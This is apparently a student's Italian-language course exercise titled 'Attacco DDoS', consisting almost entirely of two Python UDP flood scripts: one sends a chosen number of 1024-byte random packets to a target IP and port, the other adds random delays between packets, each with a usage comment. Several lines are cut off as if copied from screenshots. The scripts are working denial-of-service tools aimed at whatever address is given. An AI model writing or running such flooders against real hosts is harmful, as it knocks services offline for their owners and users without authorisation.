

## W7D4 – Attacco DDoS

### Esercizio obbligatorio

Questo è lo screenshot dello script che ho preparato per un attacco DDoS.

```
ddosprova.py > ...
1  import socket
2  import random
3  import argparse
4
5  def udp_flood(target_ip, target_port, packet_size, packet_count):
6      client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
7      packet = random._urandom(packet_size)
8
9      print(f"Inviando {packet_count} pacchetti da {packet_size} byte a {target_ip}:{t
10
11      for _ in range(packet_count):
12          client.sendto(packet, (target_ip, target_port))
13      print("Inviato")
14
15  if __name__ == "__main__":
16      parser = argparse.ArgumentParser(description="UDP Flood Script")
17      target_ip = input("Inserisci l'IP target")
18      target_port = input("Inserisci la porta target: ")
19      packet_count = input("Inserisci il numero di pacchetti da inviare: ")
20      parser.add_argument("target_ip", help="Indirizzo IP del target")
21      parser.add_argument("target_port", type=int, help="Porta del target")
22      parser.add_argument("packet_count", type=int, help="Numero di pacchetti da invia
23
24      args = parser.parse_args()
25
26      udp_flood(args.target_ip, args.target_port, 1024, args.packet_count)
27
28  #avvia il programma con questo python ddosprova.py <IP_TARGET> <PORTA_TARGET> <NUMER
29
```

### Esercizio facoltativo.

Di seguito lo stesso codice, modificato per inserire il ritardo casuale nell'invio dei pacchetti UDP.

```

ddosfacoltativo.py > ...
1  import socket
2  import random
3  import argparse
4  import time
5
6  def udp_flood(target_ip, target_port, packet_size, packet_count):
7      client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
8      packet = random._urandom(packet_size)
9
10     print(f"Inviando {packet_count} pacchetti da {packet_size} byte a {target_ip}:{t
11
12     for _ in range(packet_count):
13         client.sendto(packet, (target_ip, target_port))
14         delay = random.uniform(0, 0.1)
15         time.sleep(delay)
16     print("Inviato")
17
18 if __name__ == "__main__":
19     parser = argparse.ArgumentParser(description="UDP Flood Script")
20     target_ip = input("Inserisci l'IP target")
21     target_port = input("Inserisci la porta target: ")
22     packet_count = input("Inserisci il numero di pacchetti da inviare: ")
23     parser.add_argument("target_ip", help="Indirizzo IP del target")
24     parser.add_argument("target_port", type=int, help="Porta del target")
25     parser.add_argument("packet_count", type=int, help="Numero di pacchetti da invia
26
27     args = parser.parse_args()
28
29     udp_flood(args.target_ip, args.target_port, 1024, args.packet_count)
30
31 #attiva così il codice da cli python ddosfacoltativo.py <IP_TARGET> <PORTA_TARGET> <
32

```